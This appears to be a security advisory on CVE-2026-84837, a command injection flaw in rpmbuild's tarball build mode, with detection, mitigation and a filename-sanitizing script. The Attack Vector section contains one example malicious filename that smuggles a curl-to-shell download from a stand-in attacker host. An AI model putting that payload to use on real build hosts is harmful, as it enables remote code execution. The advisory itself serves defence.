CVE-2026-84837: RPM Command Injection RCE Vulnerability

CVE-2026-84837 Overview

CVE-2026-84837 is a command injection vulnerability [CWE-78] in rpm, the RPM Package Manager. The flaw resides in the rpmbuild -t* code path, which processes tarball archives to build packages. An attacker can craft a tarball with a filename or path containing shell metacharacters that rpmbuild passes to a shell without proper sanitization. When such a tarball is processed, arbitrary commands execute with the privileges of the build user. The vulnerability is most impactful in automated build systems and continuous integration (CI) pipelines that accept externally supplied artifact names.

Critical Impact
Successful exploitation enables arbitrary command execution in the build environment, leading to information disclosure, source code tampering, or disruption of downstream package artifacts.

Affected Products

RPM Package Manager (rpm) — rpmbuild utility
Red Hat Enterprise Linux distributions shipping affected rpm builds
CI/CD systems and build hosts that invoke rpmbuild -t* on untrusted tarballs

Discovery Timeline

2026-09-02 - CVE-2026-84837 published to NVD
2026-09-02 - Last updated in NVD database

Technical Details for CVE-2026-84837

Vulnerability Analysis

The flaw is a classic OS command injection [CWE-78] in the rpmbuild tarball handling routines invoked by the -t, -ta, -tb, -tp, -ts, and related switches. When rpmbuild processes a source tarball, it references the tarball path in shell-interpreted contexts during expansion of build scripts and spec preambles. Filenames containing metacharacters such as backticks, $(), ;, &, or | are interpreted by the shell rather than treated as literal path components. An attacker who controls the filename passed to rpmbuild -t* can therefore inject arbitrary shell commands that execute during the build.

Root Cause

The root cause is unsafe construction of shell command strings from attacker-influenced input. Rather than passing the tarball path as a discrete argv element to a non-shell executor, rpm concatenates the path into a command string that is subsequently parsed by /bin/sh. No escaping or allowlisting is applied to the filename before interpolation.

Attack Vector

Exploitation requires the victim to invoke rpmbuild -t* on a tarball whose name or path is attacker-controlled. This is the typical case in CI workflows that ingest artifact names supplied by pull requests, webhooks, or upstream mirrors. A malicious filename such as pkg-$(curl attacker.example/x|sh).tar.gz triggers execution when rpmbuild processes the archive. The attack vector is local and requires user interaction, since a user or automated agent must invoke the build.

No verified public exploit code is available. See the Red Hat CVE-2026-84837 Advisory and Red Hat Bug Report #2478408 for technical details.

Detection Methods for CVE-2026-84837

Indicators of Compromise

Tarball filenames or paths containing shell metacharacters such as `, $(, ;, |, or & on build hosts.
Unexpected child processes of rpmbuild such as sh -c, curl, wget, nc, or shell interpreters spawning network connections.
Modifications to build outputs, %_topdir, or user home directories that do not correlate with legitimate spec file activity.

Detection Strategies

Audit CI job logs for rpmbuild -t, -ta, -tb, -ts, or -tp invocations with non-alphanumeric characters in the tarball argument.
Alert on process lineage where rpmbuild spawns shells or network utilities outside the expected build toolchain.
Correlate file creation of tarballs with anomalous filenames against subsequent rpmbuild execution events.

Monitoring Recommendations

Ingest build host process telemetry and shell audit logs into a centralized analytics platform for retention and hunting.
Monitor outbound connections initiated by build user accounts during package construction windows.
Track integrity of built RPM artifacts using signed checksums to detect post-exploitation tampering.

How to Mitigate CVE-2026-84837

Immediate Actions Required

Update rpm to the fixed version distributed by your operating system vendor once released. Track the Red Hat CVE-2026-84837 Advisory for patch availability.
Audit CI pipelines that call rpmbuild -t* and remove any code paths that accept untrusted tarball filenames.
Rename incoming tarballs to a sanitized, allowlisted format before invoking rpmbuild.

Patch Information

Consult the Red Hat CVE-2026-84837 Advisory and Red Hat Bug Report #2478408 for the current fix status and package versions. Apply vendor updates through the standard package manager as soon as patched builds are published for your distribution.

Workarounds

Normalize tarball filenames using a strict allowlist (for example, [A-Za-z0-9._-]+\.tar\.gz) before passing them to rpmbuild.
Run rpmbuild under a dedicated, unprivileged build account with no access to secrets, signing keys, or production infrastructure.
Prefer explicit spec-file-driven builds (rpmbuild -ba package.spec) over tarball-mode builds (rpmbuild -t*) when handling externally supplied archives.

bash

# Configuration example: sanitize tarball names before invoking rpmbuild
src="$1"
safe=$(basename "$src" | tr -cd 'A-Za-z0-9._-')
if [ "$safe" != "$(basename "$src")" ]; then
  echo "Refusing unsafe tarball name: $src" >&2
  exit 1
fi
cp -- "$src" "/var/build/incoming/$safe"
rpmbuild -tb -- "/var/build/incoming/$safe"